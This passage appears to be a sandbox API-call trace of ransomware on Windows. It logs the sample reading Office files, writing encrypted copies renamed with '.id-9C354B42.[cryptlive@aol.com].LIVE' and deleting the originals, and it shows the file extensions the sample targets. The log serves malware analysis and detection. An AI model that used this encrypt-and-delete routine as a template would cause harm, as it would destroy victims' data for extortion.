0x1dc [0153.413] GetLastError () returned 0x0 [0153.413] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x7180, lpOverlapped=0x0) returned 1 [0153.471] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x7190, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x7190, lpOverlapped=0x0) returned 1 [0153.473] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.473] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0153.473] SetEndOfFile (hFile=0x1dc) returned 1 [0153.473] CloseHandle (hObject=0x1dc) returned 1 [0153.473] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.473] SetEndOfFile (hFile=0x3a0) returned 1 [0153.476] CloseHandle (hObject=0x3a0) returned 1 [0153.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam")) returned 1 [0153.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0153.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0153.515] lstrlenW (lpString=".doc") returned 4 [0153.515] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0153.515] lstrlenW (lpString=".docx") returned 5 [0153.515] lstrcmpiW (lpString1=".docx", lpString2="L.SAM") returned -1 [0153.515] lstrlenW (lpString=".pdf") returned 4 [0153.515] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0153.515] lstrlenW (lpString=".xls") returned 4 [0153.515] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0153.515] lstrlenW (lpString=".xlsx") returned 5 [0153.515] lstrcmpiW (lpString1=".xlsx", lpString2="L.SAM") returned -1 [0153.515] lstrlenW (lpString=".ppt") returned 4 [0153.515] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0153.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0153.515] lstrlenW (lpString=".zip") returned 4 [0153.515] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0153.515] lstrlenW (lpString=".rar") returned 4 [0153.515] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0153.515] lstrlenW (lpString=".bz2") returned 4 [0153.515] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0153.515] lstrlenW (lpString=".7z") returned 3 [0153.515] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0153.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0153.515] lstrlenW (lpString=".dbf") returned 4 [0153.515] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0153.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0153.515] lstrlenW (lpString=".1cd") returned 4 [0153.516] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0153.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0153.516] lstrlenW (lpString=".jpg") returned 4 [0153.516] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0153.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0153.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0153.516] lstrlenW (lpString=".doc") returned 4 [0153.516] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0153.516] lstrlenW (lpString=".docx") returned 5 [0153.516] lstrcmpiW (lpString1=".docx", lpString2="L.SAM") returned -1 [0153.516] lstrlenW (lpString=".pdf") returned 4 [0153.516] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0153.516] lstrlenW (lpString=".xls") returned 4 [0153.516] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0153.516] lstrlenW (lpString=".xlsx") returned 5 [0153.516] lstrcmpiW (lpString1=".xlsx", lpString2="L.SAM") returned -1 [0153.516] lstrlenW (lpString=".ppt") returned 4 [0153.516] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0153.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0153.516] lstrlenW (lpString=".zip") returned 4 [0153.516] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0153.516] lstrlenW (lpString=".rar") returned 4 [0153.516] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0153.516] lstrlenW (lpString=".bz2") returned 4 [0153.516] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0153.516] lstrlenW (lpString=".7z") returned 3 [0153.516] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0153.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0153.517] lstrlenW (lpString=".dbf") returned 4 [0153.517] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0153.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0153.517] lstrlenW (lpString=".1cd") returned 4 [0153.517] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0153.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0153.517] lstrlenW (lpString=".jpg") returned 4 [0153.517] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0153.517] lstrcmpiW (lpString1=".SAM", lpString2=".LIVE") returned 1 [0153.517] lstrlenW (lpString="ORG97.SAM") returned 9 [0153.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0153.541] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=50568) returned 1 [0153.541] CloseHandle (hObject=0x350) returned 1 [0153.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam")) returned 0x20 [0153.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0153.584] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.585] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.585] GetLastError () returned 0x0 [0153.585] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xc588, lpOverlapped=0x0) returned 1 [0153.590] WriteFile (in: hFile=0x38c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xc590, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xc590, lpOverlapped=0x0) returned 1 [0153.592] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.592] WriteFile (in: hFile=0x38c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0153.592] SetEndOfFile (hFile=0x38c) returned 1 [0153.592] CloseHandle (hObject=0x38c) returned 1 [0153.592] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.592] SetEndOfFile (hFile=0x1f8) returned 1 [0153.597] CloseHandle (hObject=0x1f8) returned 1 [0153.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam")) returned 1 [0153.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0153.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0153.598] lstrlenW (lpString=".doc") returned 4 [0153.599] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0153.599] lstrlenW (lpString=".docx") returned 5 [0153.599] lstrcmpiW (lpString1=".docx", lpString2="7.SAM") returned -1 [0153.599] lstrlenW (lpString=".pdf") returned 4 [0153.599] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0153.599] lstrlenW (lpString=".xls") returned 4 [0153.599] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0153.599] lstrlenW (lpString=".xlsx") returned 5 [0153.599] lstrcmpiW (lpString1=".xlsx", lpString2="7.SAM") returned -1 [0153.599] lstrlenW (lpString=".ppt") returned 4 [0153.599] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0153.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0153.599] lstrlenW (lpString=".zip") returned 4 [0153.599] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0153.599] lstrlenW (lpString=".rar") returned 4 [0153.599] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0153.599] lstrlenW (lpString=".bz2") returned 4 [0153.599] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0153.599] lstrlenW (lpString=".7z") returned 3 [0153.599] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0153.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0153.599] lstrlenW (lpString=".dbf") returned 4 [0153.599] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0153.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0153.599] lstrlenW (lpString=".1cd") returned 4 [0153.599] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0153.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0153.599] lstrlenW (lpString=".jpg") returned 4 [0153.599] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0153.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0153.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0153.599] lstrlenW (lpString=".doc") returned 4 [0153.599] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0153.599] lstrlenW (lpString=".docx") returned 5 [0153.599] lstrcmpiW (lpString1=".docx", lpString2="7.SAM") returned -1 [0153.600] lstrlenW (lpString=".pdf") returned 4 [0153.600] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0153.600] lstrlenW (lpString=".xls") returned 4 [0153.600] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0153.600] lstrlenW (lpString=".xlsx") returned 5 [0153.600] lstrcmpiW (lpString1=".xlsx", lpString2="7.SAM") returned -1 [0153.600] lstrlenW (lpString=".ppt") returned 4 [0153.600] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0153.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0153.600] lstrlenW (lpString=".zip") returned 4 [0153.600] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0153.600] lstrlenW (lpString=".rar") returned 4 [0153.600] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0153.600] lstrlenW (lpString=".bz2") returned 4 [0153.600] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0153.600] lstrlenW (lpString=".7z") returned 3 [0153.600] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0153.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0153.600] lstrlenW (lpString=".dbf") returned 4 [0153.600] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0153.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0153.600] lstrlenW (lpString=".1cd") returned 4 [0153.600] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0153.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0153.600] lstrlenW (lpString=".jpg") returned 4 [0153.600] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0153.600] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0153.600] lstrlenW (lpString="RM.DLL") returned 6 [0153.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0153.604] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=99688) returned 1 [0153.604] CloseHandle (hObject=0x1f8) returned 1 [0153.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll")) returned 0x20 [0153.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0153.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0153.605] lstrlenW (lpString=".doc") returned 4 [0153.605] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0153.605] lstrlenW (lpString=".docx") returned 5 [0153.605] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0153.605] lstrlenW (lpString=".pdf") returned 4 [0153.605] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0153.605] lstrlenW (lpString=".xls") returned 4 [0153.605] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0153.605] lstrlenW (lpString=".xlsx") returned 5 [0153.605] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0153.605] lstrlenW (lpString=".ppt") returned 4 [0153.605] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0153.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0153.605] lstrlenW (lpString=".zip") returned 4 [0153.605] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0153.605] lstrlenW (lpString=".rar") returned 4 [0153.605] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0153.605] lstrlenW (lpString=".bz2") returned 4 [0153.605] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0153.605] lstrlenW (lpString=".7z") returned 3 [0153.605] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0153.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0153.605] lstrlenW (lpString=".dbf") returned 4 [0153.605] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0153.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0153.605] lstrlenW (lpString=".1cd") returned 4 [0153.605] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0153.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0153.605] lstrlenW (lpString=".jpg") returned 4 [0153.605] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0153.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0153.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0153.606] lstrlenW (lpString=".doc") returned 4 [0153.606] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0153.606] lstrlenW (lpString=".docx") returned 5 [0153.606] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0153.606] lstrlenW (lpString=".pdf") returned 4 [0153.606] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0153.606] lstrlenW (lpString=".xls") returned 4 [0153.606] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0153.606] lstrlenW (lpString=".xlsx") returned 5 [0153.606] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0153.606] lstrlenW (lpString=".ppt") returned 4 [0153.606] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0153.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0153.606] lstrlenW (lpString=".zip") returned 4 [0153.606] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0153.606] lstrlenW (lpString=".rar") returned 4 [0153.606] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0153.606] lstrlenW (lpString=".bz2") returned 4 [0153.606] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0153.606] lstrlenW (lpString=".7z") returned 3 [0153.606] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0153.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0153.606] lstrlenW (lpString=".dbf") returned 4 [0153.606] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0153.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0153.606] lstrlenW (lpString=".1cd") returned 4 [0153.606] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0153.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0153.606] lstrlenW (lpString=".jpg") returned 4 [0153.606] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0153.606] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0153.607] lstrlenW (lpString="TRANSMGR.DLL") returned 12 [0153.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0153.784] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=130944) returned 1 [0153.784] CloseHandle (hObject=0x1fc) returned 1 [0153.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll")) returned 0x20 [0153.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0154.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0154.378] lstrlenW (lpString=".doc") returned 4 [0154.378] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.378] lstrlenW (lpString=".docx") returned 5 [0154.378] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0154.378] lstrlenW (lpString=".pdf") returned 4 [0154.378] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.378] lstrlenW (lpString=".xls") returned 4 [0154.378] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.378] lstrlenW (lpString=".xlsx") returned 5 [0154.378] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0154.378] lstrlenW (lpString=".ppt") returned 4 [0154.378] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0154.378] lstrlenW (lpString=".zip") returned 4 [0154.378] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.378] lstrlenW (lpString=".rar") returned 4 [0154.378] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.378] lstrlenW (lpString=".bz2") returned 4 [0154.378] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.379] lstrlenW (lpString=".7z") returned 3 [0154.379] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0154.379] lstrlenW (lpString=".dbf") returned 4 [0154.379] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0154.379] lstrlenW (lpString=".1cd") returned 4 [0154.379] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0154.379] lstrlenW (lpString=".jpg") returned 4 [0154.379] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0154.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0154.379] lstrlenW (lpString=".doc") returned 4 [0154.379] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.379] lstrlenW (lpString=".docx") returned 5 [0154.379] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0154.379] lstrlenW (lpString=".pdf") returned 4 [0154.379] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.379] lstrlenW (lpString=".xls") returned 4 [0154.379] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.379] lstrlenW (lpString=".xlsx") returned 5 [0154.379] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0154.379] lstrlenW (lpString=".ppt") returned 4 [0154.380] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0154.380] lstrlenW (lpString=".zip") returned 4 [0154.380] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.380] lstrlenW (lpString=".rar") returned 4 [0154.380] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.380] lstrlenW (lpString=".bz2") returned 4 [0154.380] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.380] lstrlenW (lpString=".7z") returned 3 [0154.380] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0154.380] lstrlenW (lpString=".dbf") returned 4 [0154.380] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0154.380] lstrlenW (lpString=".1cd") returned 4 [0154.380] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0154.380] lstrlenW (lpString=".jpg") returned 4 [0154.380] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.380] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.380] lstrlenW (lpString="DATAGATH.DLL") returned 12 [0154.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 